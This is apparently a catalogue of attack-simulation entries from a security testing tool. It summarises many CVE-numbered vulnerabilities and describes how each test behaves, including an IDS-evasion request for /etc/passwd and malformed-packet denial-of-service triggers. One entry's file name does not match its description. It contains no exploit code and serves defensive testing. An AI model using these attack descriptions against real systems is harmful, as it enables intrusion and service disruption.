Detailed Description:	A denial of service vulnerability has been reported in Microsoft Windows. The vulnerability is due to improper handling of server response that contains many bytes following the structure defined in the SMB2 TREE_CONNECT Response structure. An unauthenticated attacker could exploit this vulnerability by sending maliciously crafted server response. Successful exploitation would lead to denial of service conditions on a vulnerable system. The vendor, Microsoft, has not released an advisory regarding the vulnerability at the time of writing.
Protocol Type:	SMB/CIFS, IPv6
CVEID:	CVE-2017-0016
Threat File Name:	MaxDBHTTP.xml
Executive Description:	MySQL MaxDB HTTP Buffer Overflow
Detailed Description:	This threat causes a buffer overflow in the processing of a GET request. This can allow an attacker to cause a crash or overwrite structures in the program allowing code execution. This application uses the HTTP protocol, which typically travels over port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-0684
OSVDB:	15816
Threat Package:	Standard
Threat File Name:	TSL20100825-09_Adobe_Shockwave_Director_tSAC_Chunk_Parsing_Memory_Corruption_IPv6.xml
Executive Description:	Adobe Shockwave Director tSAC Chunk Parsing Memory Corruption(IPv6 Version)
Detailed Description:	A code execution vulnerability exists in Adobe Shockwave player. The vulnerability is due to a signedness error while parsing tSAC chunks in Adobe Director files. By providing a certain negative value, calculation of a pointer may lead to a memory corruption. Remote attackers can exploit this vulnerability by enticing target users to open a malicious DIR file using a vulnerable version of the product. Successful exploitation of this vulnerability would result in arbitrary code execution in the security context of the logged in user. In the case of an unsuccessful attack, the affected application may terminate abnormally.
Protocol Type:	IPv6, HTTP, HTTPS, IMAP, POP3, SMTP, SMB/CIFS
CVEID:	CVE-2010-2866
OSVDB:	N/A
Threat File Name:	FSC20080311-16_Microsoft_Excel_Style_Record_Data_Handling_Code_Execution.xml
Executive Description:	Microsoft Excel Style Record Data Handling Code Execution
Detailed Description:	There exists a code execution vulnerability in Microsoft Excel. The vulnerability is due to improper parsing of the Style record. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted Excel file, potentially causing arbitrary code to be injected and executed in the security context of the current user. An attack targeting this vulnerability can result in the injection and execution of code. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. Any code injected will be executed within the security context of the currently logged in user. In the case of an unsuccessful code execution attack, Excel will terminate resulting in the loss of any unsaved data from the current session.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2008-0114
Threat Package:	Standard
Threat File Name:	livreforum_sqli_IPv6.xml
Executive Description:	Forum Livre 1.0 Remote SQL Injection Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted URL that contains an SQL query which is executed by the server. Forum Livre is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-0589
Threat Package:	Standard
Threat File Name:	IE-DOS_window.xml
Executive Description:	Internet Explorer MS05-054 window() Denial of Service
Detailed Description:	This threat causes Internet Explorer to crash by calling the DOM window object as a function. This threat is a client attack that comes from the virtual server.
Protocol Type:	HTTP
CVEID:	CVE-2005-1790
OSVDB:	17094
Threat Package:	Standard
Threat File Name:	TSL20080204-06_Yahoo_Music_Jukebox_ActiveX_Control_Buffer_Overflow.xml
Executive Description:	Yahoo! Music Jukebox ActiveX Control Buffer Overflow
Detailed Description:	Multiple buffer overflow vulnerabilities exist in Yahoo! Music Jukebox. These vulnerabilities are caused due to boundary errors within the Yahoo! Music Jukebox ActiveX Control. A remote attack can exploit these vulnerabilities by enticing the target user to open a crafted webpage, potentially causing arbitrary code to be injected and executed in the security context of the current user. An attack targeting this vulnerability can result in the injection and execution of arbitrary code. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. Any injected code will be executed within the security context of the currently logged in user. In the case of an unsuccessful code execution attack, Internet Explorer may terminate abnormally.
Protocol Type:	HTTP, HTTPS
CVEID:	CVE-2008-0625
Threat File Name:	FSC20090609-28_Microsoft_Multiple_Products_Works_File_Converter_WPS_File_Processing_Buffer_Overflow.xml
Executive Description:	Microsoft Multiple Products Works File Converter WPS File Processing Buffer Overflow

Detailed Description:	A buffer overflow vulnerability exists in Microsoft Works File Converter. The vulnerability is due to improper parsing of malformed WPS file format. Remote attackers can exploit this vulnerability by enticing target users to open a malicious WPS file, potentially causing arbitrary code to be injected and executed in the security context of the current user. In an attack scenario where arbitrary code is injected and executed on the target machine, the behaviour of the target is dependent on the intention of the malicious code. If such an attack is not executed successfully, the vulnerable application may terminate as a result of invalid memory access. If unexpected termination of the vulnerable application is the sole result of an attack, there is no impact to the overall operation of the target host. It is, however, possible to lose all unsaved data due to the abnormal termination.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2009-1533
Threat Package:	Standard
Threat File Name:	FSC20101012-34_Microsoft_Office_Excel_PtgExtraArray_Parsing_Memory_Corruption.xml
Executive Description:	Microsoft Office Excel PtgExtraArray Parsing Memory Corruption
Detailed Description:	A code execution vulnerability exists in Microsoft Office Excel. The vulnerability is due to lack of validation on the PtgExtraArray data structure when parsing a crafted Excel file. This vulnerability may be exploited by remote attackers to execute arbitrary code on the target system by enticing a user to open a maliciously crafted file. In situations where code execution is successful the injected code will run within the security context of the currently logged in user. If code execution fails, the vulnerable application may terminate abnormally.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2010-3239
Threat Package:	Standard
Threat File Name:	FSC20090519-05_Multiple_Vendors_NTP_Daemon_Autokey_Stack_Buffer_Overflow.xml
Executive Description:	Multiple Vendors NTP Daemon Autokey Stack Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in the NTP (Network Time Protocol) daemon. The flaw is due to a boundary error when processing crafted packets sent to the daemon. An attacker could exploit this vulnerability by sending a specially crafted packet to ntpd. In an attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The injected code in such a case would execute within the security context of the service. In an attack case where code injection is not successful, the affected service will terminate abnormally, creating a denial of service condition.
Protocol Type:	NTP
CVEID:	CVE-2009-1252
Threat Package:	Standard
Threat File Name:	FSC20080212-17_Microsoft_Word_File_Handling_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Word File Handling Memory Corruption (IPv6 Version)
Detailed Description:	A memory corruption vulnerability exists in the way Microsoft Word processes DOC files. The vulnerability is a result of invalid calculation while parsing File Information Block (FIB). A remote attacker can exploit this vulnerability by enticing the target user to open a crafted Word document, potentially causing arbitrary code to be injected and executed in the security context of the current user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-0109
Threat Package:	Standard
Threat File Name:	TSL20150330-01_ManageEngine_Desktop_Central_Unauthorized_Administrative_Password_Reset_IPv6.xml
Executive Description:	ManageEngine Desktop Central Unauthorized Administrative Password Reset IPv6 version.
Detailed Description:	An access control weakness vulnerability exists in ManageEngine Desktop Central. The vulnerability is due to design error in limiting the admin's password reset functionality to authorized admin users only. This allows any remote unauthenticated users to access the administrative control panel of Desktop Central. Tester should set variable \$destPort to 8020 before test.
Protocol Type:	HTTP/HTTPS,IPv6
CVEID:	CVE-2015-2560
OSVDB:	120026
Threat File Name:	FSC20090909-11_Digium_Asterisk_IAX2_Call_Number_Denial_Of_Service.xml
Executive Description:	Digium Asterisk IAX2 Call Number Denial Of Service
Detailed Description:	A resource exhaustion based denial of service vulnerability exists in Digium's Asterisk. The vulnerability is due to a design weakness in the way Asterisk associates messages with the calls they belong to. An unauthenticated, remote attacker can exploit this vulnerability by sending a large number of messages to a vulnerable system. Successful exploitation would exhaust the call number space, resulting in a denial of service condition.
Protocol Type:	IAX2
CVEID:	CVE-2009-2346
Threat Package:	Standard
Threat File Name:	xoops_cmi_sqli.xml
Executive Description:	XOOPS SQL Injection
Detailed Description:	This threat sends a crafted HTTP Request with with a modified URL string containing an SQL query as well as a arbitrary PHP commands that can be used to gain a higher level of access then the webserver itself. XOOPS is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-3681
OSVDB:	20852
Threat Package:	Standard
Threat File Name:	tsep_rfi.xml
Executive Description:	The Search Engine Project (TSEP) 0.9.4.2 copyright.php Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. TSEP is a web application that typically listens on port 80
Protocol Type:	HTTP
CVEID:	CVE-2006-3993
Threat Package:	Standard
Threat File Name:	tinywebgallery_xss.xml

Executive Description:	Tiny Web Gallery XSS vulnerability
Detailed Description:	This threat sends arbitrary web script or HTML via the twg_album parameter to be executed. Tiny Web Gallery is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-1802
Threat Package:	Standard
Threat File Name:	beagleAA.xml
Executive Description:	Beagle.AA Worm
Detailed Description:	This threat is a version of the Beagle.AA mass mailing worm. It is reliant on a malicious attachment. This attack mimics connecting to a mail server and sending the email to user@example.com.
Protocol Type:	SMTP
Threat Package:	Standard
Threat File Name:	ms04-038css.xml
Executive Description:	MS04-038 Malformed CSS File Attack
Detailed Description:	This threat attempts to perform a buffer overflow on Internet Explorer through a malformed CSS file. This threat can cause code execution if it is targeted at the correct platform and version of Internet Explorer. This threat is a client attack that comes from the virtual server.
Protocol Type:	HTTP
CVEID:	CVE-2004-0842
OSVDB:	10710
Threat Package:	Standard
Threat File Name:	FSC20101109-07_Microsoft_Office_Large_SPID_Read_Access_Violation_IPv6.xml
Executive Description:	Microsoft Office Large SPID Read Access Violation (IPv6 VERSION)
Detailed Description:	A code execution vulnerability exists in Microsoft Office. The vulnerability is due to improper parsing of a crafted SPID structure in an office document that allows for memory access error. A remote attacker can exploit this vulnerability by enticing a user to open a maliciously crafted file. In situations where code execution is successful the injected code will run within the security context of the currently logged in user. If code execution fails, the vulnerable application may terminate abnormally.
Protocol Type:	IPV6, HTTP, HTTPS, IMAP, POP3, SMB/CIFS, SMTP
CVEID:	CVE-2010-3336
Threat File Name:	windowsNT_FTPbof-1.xml
Executive Description:	MS99-003 Windows NT 4 FTP Buffer Overflow
Detailed Description:	This threat sends an FTP command of NLST after attempting to authenticate as user anonymous. Causes a classic buffer overflow in old versions of Windows NT 4.
Protocol Type:	FTP
CVEID:	CVE-1999-0349
OSVDB:	929
Threat Package:	Standard
Threat File Name:	fuzz-TFTP_WRQ_OCTET_formats.xml
Executive Description:	TFTP Fuzzer fuzz-TFTP_WRQ_OCTET_formats.xml
Detailed Description:	Fuzzes Mode field by appending %s to octet with ranging sizes. OpCode is WRQ.
Protocol Type:	TFTP
Threat Package:	Fuzzing
Threat File Name:	ms05-021_part1.xml
Executive Description:	MS05-021 Exchange Heap Overflow Part 1
Detailed Description:	This threat attempts to cause a heap overflow on a Microsoft Exchange server. This can be used to execute remote code on the server. This threat targets the SMTP service of exchange which listens on port 25.
Protocol Type:	SMTP
CVEID:	CVE-2005-0560
OSVDB:	15467
Threat Package:	Standard
Threat File Name:	TSL20161104-06_Memcached_process_bin_append_prepend_Integer_Overflow_IPv6.xml
Executive Description:	Memcached process_bin_append_prepend Integer Overflow (IPv6 Version)
Detailed Description:	An integer overflow vulnerability exists in memcached. This vulnerability is due to a lack of bounds checking in the process_bin_append_prepend function while processing commands that append or prepend data to existing key-value pairs. A remote unauthenticated attacker can exploit these vulnerabilities by sending a specially crafted packet to memcached. This can lead to a buffer overflow and possible code execution in the context of the user. If code execution is unsuccessful, a denial of service condition may result.
Protocol Type:	Memcache, IPv6
CVEID:	CVE-2016-8704
Threat File Name:	ContrexSQLInjection.xml
Executive Description:	Contrex SQL Injection Attack
Detailed Description:	This attack takes advantage of a SQL injection flaw in Contrex. Contrex is a Content Management System written in PHP. This particular attack will attempt to enumerate usernames and passwords. Contrex is a web application, and would typically listen over port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-2415
OSVDB:	18167
Threat Package:	Standard
Threat File Name:	pluggedout_sqli_IPv6.xml
Executive Description:	PluggedOut Blog Index.PHP Multiple SQL Injection Vulnerabilities (IPv6 Version)
Detailed Description:	This threat sends a crafted URL that an SQL query that is executed by the server. eFiction is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-4054
OSVDB:	21480
Threat File Name:	TSL20150512-32_Microsoft_Internet_Explorer_CVE_2015_1705_Memory_Corruption_IPv6.xml

Executive Description:	Microsoft Internet Explorer CVE-2015-1705 Memory Corruption IPv6 version.
Detailed Description:	A memory corruption vulnerability has been reported in Microsoft Internet Explorer. The vulnerability is due to an error while handling certain objects when processing HTML and script code. A remote, unauthenticated attacker could exploit the vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP/HTTPS,IPv6
CVEID:	CVE-2015-1705
OSVDB:	121987
Threat File Name:	TSL20140211-23_Microsoft_Internet_Explorer_CVE-2014-0278_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer CVE-2014-0278 Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Internet Explorer. The vulnerability is due to an error in the way objects are handled. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2014-0278
OSVDB:	103177
Threat File Name:	FSC20100914-04_Microsoft_Multiple_Products_Uniscribe_Font_Parsing_Engine_Memory_Corruption.xml
Executive Description:	Microsoft Multiple Products Uniscribe Font Parsing Engine Memory Corruption
Detailed Description:	A code execution vulnerability exists in Microsoft Windows and Microsoft Office products. The vulnerability is due to improper input validation of a table in the TrueType font layout. This vulnerability may be exploited by remote attackers to execute arbitrary code on the target system by enticing a target user to open a maliciously crafted document. In situations where code execution is successful the injected code will run within the security context of the currently logged-on user.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2010-2738
Threat Package:	Standard
Threat File Name:	FSC20090728-05_Microsoft_Internet_Explorer_Deleted_Object_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer Deleted Object Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The flaw is due to the way Internet Explorer accesses an object that has been deleted. An attacker can persuade the target user to open a malicious web page to exploit this vulnerability. In an attack scenario, where arbitrary code is injected and executed on the target system, the behaviour of the target is dependent on the intention of the malicious code. The injected code will be run with privileges of the currently logged on user. If such an attack is not executed successfully, the vulnerable application may terminate as a result of invalid memory access.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2009-1917
Threat Package:	Standard
Threat File Name:	angelinecms_cmi_IPv6.xml
Executive Description:	AngelineCMS 0.8.1 installpath argument Remote File Inclusion Exploit (IPv6 Version)
Detailed Description:	This threat sends a standard HTTP query which uses an arbitrary host/path to insert PHP code which is executed by the server. AngelineCMS typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	tcpdump_rsvp.xml
Executive Description:	tcpdump RSVP DOS
Detailed Description:	This threat causes tcpdump to enter into an infinite loop while parsing the RSVP protocol. This can be used by an attacker to evade sniffing attempts.
Protocol Type:	RSVP
CVEID:	CVE-2005-1280
OSVDB:	15904
Threat Package:	Standard
Threat File Name:	TSL20130917-05_Microsoft_Internet_Explorer_CVE-2013-3163_Use_After_Free.xml
Executive Description:	Microsoft Internet Explorer CVE-2013-3163 Use After Free
Detailed Description:	A use-after-free vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to improperly freeing a child element such as CAnchorElement and trying to access the freed object later. A remote attacker could exploit these vulnerabilities by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2013-3163
OSVDB:	94981
Threat File Name:	FSC20071009-20_Microsoft_Windows_SharePoint_Services_Cross_Site_Scripting_IPv6.xml
Executive Description:	Microsoft Windows SharePoint Services Cross Site Scripting (IPv6 Version)
Detailed Description:	There exist a cross-site scripting vulnerability in Microsoft SharePoint. The flaw is due to lack of input validation when processing the URL request from client. The flaw may be exploited by malicious users to execute arbitrary HTML code on target user's web browser, within the context of a trusted web site. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-2581
Threat Package:	Standard
Threat File Name:	mailenable_imap_bof_IPv6.xml
Executive Description:	MailEnable IMAP Mailbox Name Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a malicious CREATE command to cause a buffer overflow. MailEnable IMAP is a web application that typically listens on port 143. (IPv6 Version)
Protocol Type:	IMAP/IPv6
CVEID:	CVE-2005-3690
OSVDB:	20929
Threat Package:	Standard

Threat File Name:	TSL20170403-01_Mantis_MantisBT_Bug_Tracker_adm_config_report.php_move_attachments_page.php_XSS_I_Pv6.xml
Executive Description:	Mantis MantisBT Bug Tracker adm_config_report.php move_attachments_page.php XSS (IPv6 Version)
Detailed Description:	Three cross-site scripting vulnerabilities have been reported in Mantis Bug Tracker (MantisBT). These vulnerabilities are due to insufficient input validation of the action, type and config_option HTTP parameters by adm_config_report.php and move_attachments_page.php. A remote attacker could exploit this vulnerability by enticing a target user to click on a specially crafted URL in an entry on the server. Successful exploitation would result in script code running in the client's browser, within the security context of the website.
Protocol Type:	HTTPS,HTTP,IPv6
CVEID:	CVE-2017-7309
Threat File Name:	siptrailingudpockets.xml
Executive Description:	SIP Trailing Garbage
Detailed Description:	This threat sends out a SIP OPTIONS message with a Content-Length of 0 and with 512 bytes of garbage following the headers. Because this trailing data is unexpected, this may confuse or crash a SIP implementation.
Protocol Type:	SIP
Threat Package:	VoIP
Threat File Name:	TSL20120814-03_Microsoft_Internet_Explorer_Layout_Use_After_Free.xml
Executive Description:	Microsoft Internet Explorer Layout Use After Free
Detailed Description:	A use after free vulnerability exists in the way Microsoft Internet Explorer handles certain layout objects. The vulnerability is due to improper access of uninitialized or deleted objects. A remote attacker could exploit this vulnerability by enticing a user to open a specially crafted web page. Successful exploitation could result in arbitrary code execution in the context of the currently logged in user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2012-1526
OSVDB:	84595
Threat File Name:	net-ftpdp_IPv6.xml
Executive Description:	NetFTPD Buffer Overflow (IPv6 Version)
Detailed Description:	This threat exploits a buffer overflow in the net-ftpdp server that is bundled with InterSoft's NetTerm application. FTP typically listens on port 21. (IPv6 Version)
Protocol Type:	FTP/IPv6
CVEID:	CVE-2005-1323
OSVDB:	15865
Threat Package:	Standard
Threat File Name:	FSC20100301-08_IBM_Informix_Dynamic_Server_librpc_dll_Multiple_Buffer_Overflows.xml
Executive Description:	IBM Informix Dynamic Server librpc.dll Multiple Buffer Overflows
Detailed Description:	Multiple buffer overflow vulnerabilities has been reported in IBM's Informix Dynamic Server. The vulnerabilities are due to insufficient validation of user inputs during authentication by the RPC protocol parsing library, librpc.dll. This library is used by the Portmapper service (portmap.exe) which runs on port TCP/36890. A remote attacker could exploit the vulnerability by sending malicious RPC packets to the target server. Successful exploitation would cause heap and stack based buffer overflows which can lead to arbitrary code execution in the context of the affected service, which is SYSTEM.
Protocol Type:	Portmapper-RPC
CVEID:	CVE-2009-2753
Threat Package:	Standard
Threat File Name:	FSC20110125-03_HP_OpenView_Network_Node_Manager_jovgraph_exe_displayWidth_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Windows Fax Services Cover Page Editor Double Free Memory Corruption(IPv6 Version)
Detailed Description:	A double free memory corruption vulnerability exists in Microsoft Windows Fax Services. The vulnerability is due to improper handling of Text objects while parsing Microsoft Fax cover page files. Remote attackers could exploit this vulnerability by enticing the target user to open a specially crafted Fax cover page file. Successful exploitation could result in execution of arbitrary code within the security context of the currently logged in user. An unsuccessful attempt will terminate the affected application abnormally.
Protocol Type:	IPV6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS,NFS
Threat File Name:	ids_unicode_evasion_IPv6.xml
Executive Description:	IDS Non-Standard Encoding (Unicode) Evasion (IPv6 Version)
Detailed Description:	This threat tries to bypass an IDS by sending out a request encoded in %u Unicode format. By using the %u encoding, many IDSes will fail to match the request to equivalent rules. This threat is a HTTP GET for /etc/passwd. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2001-0669
OSVDB:	4438
Threat Package:	Standard
Threat File Name:	gozilla.xml
Executive Description:	Linksys Gozilla.cgi Denial of Service
Detailed Description:	This threat requests a specific URL which is known to cause a denial of service condition in certain Linksys routers.
Protocol Type:	HTTP
OSVDB:	6655
Threat Package:	Standard
Threat File Name:	leadtools_raster_dialog_activex_bof_IPv6.xml
Executive Description:	LeadTools Raster Dialog File Object LTRDF14E.DLL ActiveX Control Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the LeadTools Raster Dialog ActiveX application, resulting in the overwriting of arbitrary files. This threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-2895
Threat Package:	Standard

Threat File Name:	FSC20090901-02_OpenOffice_Word_Document_Table_Parsing_Heap_Overflow.xml
Executive Description:	OpenOffice Word Document Table Parsing Heap Overflow
Detailed Description:	A heap overflow vulnerability has been reported in OpenOffice that allows remote attackers to execute arbitrary code on the target system. The vulnerability is due to a boundary error when parsing certain records. Remote attackers can exploit this vulnerability by enticing a target user to open a malicious Word document. In the case of successful code injection and execution, the behaviour of the target is dependent on the intention of the malicious code. The injected code will be executed with the privileges of the current user. If code injection is not successful, the affected application may terminate abnormally causing a denial of service condition.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP/NFS
CVEID:	CVE-2009-0201
Threat Package:	Standard
Threat File Name:	winproxy_telnet_DoS.xml
Executive Description:	WinProxy Telnet Denial of Service
Detailed Description:	This threat causes a denial of service in the winproxy telnet proxy. It will cause a heap corruption to occur, which may be exploitable. This threat works by sending 5000 0xFF byte packets to the telnet port. Telnet typically listens on port 23.
Protocol Type:	Telnet
CVEID:	CVE-2005-3654
OSVDB:	22239
Threat File Name:	FSC20070109-11_Microsoft_Internet_Explorer_VML_Buffer_Overflow_Vulnerability.xml
Executive Description:	Microsoft Internet Explorer VML Buffer Overflow Vulnerability
Detailed Description:	There exists a buffer overflow vulnerability when processing Vector Markup Language (VML) documents. The flaw is due to improper validation of user supplied values in the properties of the "RecolorInfo" sub-element. Upon opening a malicious VML document on the target host, an attacker may execute arbitrary code on the target system with the privileges of the currently logged on user.
Protocol Type:	HTTP
CVEID:	CVE-2007-0024
Threat Package:	Standard
Threat File Name:	TSL20100521-05_HP_Intelligent_Management_Center_Database_Credentials_Information_Disclosure.xml
Executive Description:	HP Intelligent Management Center Database Credentials Information Disclosure
Detailed Description:	A policy bypass vulnerability exists in HP Intelligent Management Center. The vulnerability is due to insufficient access control for configuration files containing database credentials. A remote unauthenticated attacker, using crafted HTTP requests, can retrieve database credentials setup for the affected application. With this information, the attacker could gain read/write access to the application's database content.
Protocol Type:	HTTP,HTTPS
Threat File Name:	maluinfo-rfi_IPv6.xml
Executive Description:	Maluinfo PHPBB_Root_Path Parameter Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Maluinfo is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20110721-15_Apple_Safari_WebKit_SVG_Markers_Use-After-Free_Memory_Corruption_IPv6.xml
Executive Description:	Apple Safari WebKit SVG Markers Use-After-Free Memory Corruption(IPv6 Version)
Detailed Description:	A heap corruption vulnerability has been found in WebKit. The vulnerability is located in the code that handles Scalable Vector Graphics (SVG) objects. The vulnerable code doesn't properly handle reference counting when updating SVG markers, causing a use-after-free condition. A remote attacker could entice a target user to view a maliciously crafted web page that exploits this vulnerability to run arbitrary code in the target user's security context.
Protocol Type:	IPV6,HTTP,HTTPS
CVEID:	CVE-2011-1453
Threat File Name:	TSL20150608-03_Red_Hat_NETKVM_Virtio_Win_GetXpHeaderAndPayloadLen_Integer_Underflow.xml
Executive Description:	Red Hat NETKVM Virtio-Win GetXpHeaderAndPayloadLen Integer Underflow
Detailed Description:	A denial of service vulnerability has been reported in Red Hat virtio-win NetKVM driver. The vulnerability is due to a failure to sufficiently sanitize the length of incoming IP packets. A remote unauthenticated attacker could exploit this vulnerability by sending a specially crafted IP packet to a server. Successful exploitation could lead to a denial of service condition.
Protocol Type:	IP
CVEID:	CVE-2015-3215
Threat File Name:	ms05-033_telnet.xml
Executive Description:	MS05-033 Windows Telnet Environment Variable Disclosure
Detailed Description:	This threat attempts to lift every environment variable available with Microsoft Windows XP via the telnet client. The telnet client can be caused to launch via a hyperlink embedded in a web page or through social engineering causing the user to launch it. This can be used to learn about other potential vulnerabilities in the user's system. Telnet typically listens on port 23. This threat is a client attack that comes from the virtual server.
Protocol Type:	Telnet
CVEID:	CVE-2005-1205
OSVDB:	17303
Threat Package:	Standard
Threat File Name:	TSL20150909-11_Advantech_WebAccess_Webdobj_ActiveX_UpdateProject_Stack_Buffer_Overflow_IPv6.xml
Executive Description:	Advantech WebAccess Webdobj ActiveX UpdateProject Stack Buffer Overflow IPv6 version
Detailed Description:	A stack buffer overflow vulnerability exists in Advantech's WebAccess SCADA software. The vulnerability is due to insufficient input validation of one of the UpdateProject's arguments in the Webdobj ActiveX control. A remote, unauthenticated attacker can exploit this vulnerability by enticing a vulnerable user to open a crafted web page. Successful exploitation can lead to code execution in the context of the target user.
Protocol Type:	HTTP/HTTPS.IPV6

CVEID: [CVE-2014-9208](#)

Threat File Name: TSL20120618-02_Ruby_on_Rails_Where_Hash_SQL_Injection_IPv6.xml
Executive Description: Ruby on Rails Where Hash SQL Injection(IPv6 Version)
Detailed Description: A vulnerability has been discovered in Ruby on Rails. The vulnerability is due to an improper input validation error while handling hash values. A remote attacker could exploit this vulnerability by sending malicious SQL code as part of the vulnerable parameter via a specially crafted URL, possibly leading to manipulation of data in the database or information disclosure.
Protocol Type: IPv6,HTTP,HTTPS
CVEID: [CVE-2012-2695](#)
OSVDB: [82403](#)

Threat File Name: FSC20091013-10_Microsoft_Office_BMP_Header_biClrUsed_Integer_Overflow.xml
Executive Description: Microsoft Office BMP Header biClrUsed Integer Overflow
Detailed Description: An integer overflow vulnerability has been reported in Microsoft Office. The vulnerability is due to lack of validation on the "biClrUsed" field when processing BMP header. Remote attackers can exploit this vulnerability by enticing the target user to open a malicious document. Successful exploitation could result in injection and execution of arbitrary code, within the security context of the currently logged in user. The behaviour of the target would depend on the intention of the malicious code. In case if code injection is not successful, the affected application will terminate abnormally causing a denial of service condition.
Protocol Type: HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID: [CVE-2009-2518](#)
Threat Package: Standard

Threat File Name: apache_gzip.xml
Executive Description: Apache GZIP Buffer Overflow
Detailed Description: This attack exploits a flaw in Apache's implementation of the GZIP HTTP extension. This allows an attacker to execute remote code in the context of the Apache webserver. Apache typically listens on port 80.
Protocol Type: HTTP
CVEID: [CVE-2003-0842](#)
OSVDB: [4650](#)
Threat Package: Standard

Threat File Name: FSC20090819-04_Oracle_Secure_Backup_Administration_Server_Command_Injection.xml
Executive Description: Oracle Secure Backup Administration Server Command Injection
Detailed Description: A command injection vulnerability exists in Oracle Secure Backup server. The vulnerability is due to improper filtering of user supplied data to the property_box.php script used in the Administration server. Successful exploitation of this vulnerability may allow a remote authenticated attacker to execute arbitrary commands under the credentials of the SYSTEM account.
Protocol Type: HTTPS
CVEID: [CVE-2009-1978](#)
Threat Package: Standard

Threat File Name: hivemail_cmi_d_IPv6.xml
Executive Description: HiveMail 1.3 remote command execution exploit (IPv6 Version)
Detailed Description: This threat send a crafted HTTP GET query which allows the crafted URL to insert PHP code, this is then executed by the server via the "cmd" parameter. HiveMail is a web application with typically listens on port 80. (IPv6 Version)
Protocol Type: HTTP/IPv6
CVEID: [CVE-2006-0757](#)
Threat Package: Standard

Threat File Name: isight.xml
Executive Description: Apple Safari isight Snooping
Detailed Description: This threat mimics the downloading of a malicious piece of java code that will run in the apple safari browser and load the apple isight camera. This allows a malicious web site to take pictures and video of the person viewing the webpage. This attack would typically come from a web server on port 80.
Protocol Type: HTTP
CVEID: [CVE-2006-5681](#)
Threat Package: Standard

Threat File Name: webspell_db-dwnload_IPv6.xml
Executive Description: WebSPELL Database.PHP Authentication Bypass Vulnerability (IPv6 Version)
Detailed Description: This threat uses a specially crafted HTTP GET request to return a backup of the affected web site's database resulting in information disclosure and theft of credentials. WebSPELL is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type: HTTP/IPv6
Threat Package: Standard

Threat File Name: win_dns_dos.xml
Executive Description: DNS Resolver Denial of Service
Detailed Description: This threat sends a DNS Reply packet that contains all transaction IDs available for a DNS Reply. This causes some implementations of Windows DNS Resolver to fail to resolve further names. The destination port must be set to the port that the dns resolver listens on, typically the first or second low privilege port (1026, 1027). To make certain that the threat reaches the correct DNS resolver port, a range can be specified, such as @range(1025, 1035)
Protocol Type: DNS
CVEID: [CVE-1999-0024](#)
OSVDB: [438](#)
Threat Package: Standard

Threat File Name: FSC20090113-30_Oracle_BEASWebLogic_IIS_connector_JSESSIONID_Stack_Buffer_Overflow_IPv6.xml
Executive Description: Oracle BEA WebLogic IIS connector JSESSIONID Stack Buffer Overflow (IPv6 Version)

Detailed Description:	There exists a buffer overflow vulnerability in BEA WebLogic Server IIS Connector. The vulnerability is due to a boundary error in the IIS connector. A remote unauthenticated attacker can exploit this vulnerability by sending crafted HTTP requests to the target host. In an attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The injected code in such a case would execute within the security context of the IIS service. In an attack case where code injection is not successful, the affected process will terminate abnormally. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-5457
Threat Package:	Standard
Threat File Name:	imgsvr_bof_IPv6.xml
